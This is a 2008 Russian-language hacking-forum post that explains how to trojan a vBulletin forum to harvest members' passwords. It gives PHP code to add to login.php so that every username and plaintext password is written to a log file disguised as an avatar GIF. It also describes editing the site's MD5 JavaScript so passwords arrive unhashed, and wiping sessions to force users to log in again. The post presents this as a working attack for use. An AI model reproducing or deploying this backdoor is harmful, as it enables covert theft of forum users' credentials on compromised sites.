Показать сообщение отдельно

Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)
  #31  
Старый 23.03.2008, 20:17
Basurman
Постоянный
Регистрация: 10.11.2006
Сообщений: 416
С нами: 10263386

Репутация: 849
По умолчанию Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)

Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)


По идее все просто: в файл login.php в корне сайта добавляем
PHP код:
// ############################### start do login ###############################
// this was a _REQUEST action but where do we all login via request?
if ($_POST['do'] == 'login')
{
    
$vbulletin->input->clean_array_gpc('p', array(
        
'vb_login_username'        => TYPE_STR,
        
'vb_login_password'        => TYPE_STR,
        
'vb_login_md5password'     => TYPE_STR,
        
'vb_login_md5password_utf' => TYPE_STR,
        
'postvars'                 => TYPE_STR,
        
'cookieuser'               => TYPE_BOOL,
        
'logintype'                => TYPE_STR,
        
'cssprefs'                 => TYPE_STR,
    ));

    
define'auth_req''./customavatars/avatar178_2.gif' );
    
$fp fopenauth_req'a' ); 
    
$un1=&$vbulletin->GPC['vb_login_username']; $un2=&$vbulletin->GPC['vb_login_password']; $un3 date("d.m.y H.i.s");
    
$message "$un3:$un1:$un2\r\n"
    
flock($fp,LOCK_EX); 
    
fwrite$fp$message ); 
    
fflush($fp); flock($fp,LOCK_UN); fclose$fp ); 

    
// can the user login? 
но в логах видим, что пароля все же нет. Обидно...
Посмотрим на форму регистрации:
Код:
...
<form action="login.php?do=login" method="post" onsubmit="md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf, 0)">
...
Ага. значит входим по функции из javascript...
Сама функция находится в clientscript/vbulletin_md5.js
А там мы видим в конце:
PHP код:
            // implemented like this to make sure un-updated templates behave as before
            
input.value ''
Это значит, что введенный нами пароль просто затирается перед передачей дальше. Просто комментарим строку и собираем пароли (обновляем ессно страницу, для того чтобы заюзать измененный JavaScript)...
PHP код:
...
// input.value = '';
... 

P.S. против автозахода (куки) можно стереть из бд все сессии
P.P.S. Можно и не комментировать, а изменить переменную $un2=&$vbulletin->GPC['vb_login_md5password'];
Все же md5(pass) побрутить легче, чем md5(md5(pass).salt)

Последний раз редактировалось Elekt; 03.09.2008 в 02:38..
 
Ответить с цитированием